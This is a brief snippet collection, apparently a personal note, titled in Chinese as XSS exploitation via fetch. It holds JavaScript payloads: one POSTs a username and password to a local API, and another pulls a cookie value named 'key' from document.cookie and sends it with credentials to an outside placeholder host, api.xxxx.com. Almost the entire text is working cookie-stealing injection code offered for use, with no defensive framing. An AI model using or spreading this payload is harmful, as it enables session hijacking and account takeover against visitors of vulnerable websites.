xss利用之fetch

fetch("http://192.168.199.141:3000/api/user/",{
  method:'POST',
  headers:{
     'Content-Type': 'application/json'
  },
  body:JSON.stringify({
    name:'john',
    pass:'xioayuan'
  })
})
.then((response)=>response.json())
.then((responseJsonData)=>{
  alert("请求成功");
  console.log(responseJsonData);
})
.catch((error)=>{
  alert(error);
})

document.cookie.replace(/(?:(?:^|.*;\s*)key\s*\=\s*([^;]*).*$)|^.*$/, '$1')

var form = 'xxxxxx'+document.cookie.replace(/(?:(?:^|.*;\s*)key\s*\=\s*([^;]*).*$)|^.*$/, '$1');
fetch('https://api.xxxx.com/add', {
method: "POST",
mode: "cors",
credentials: 'include',
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: form
});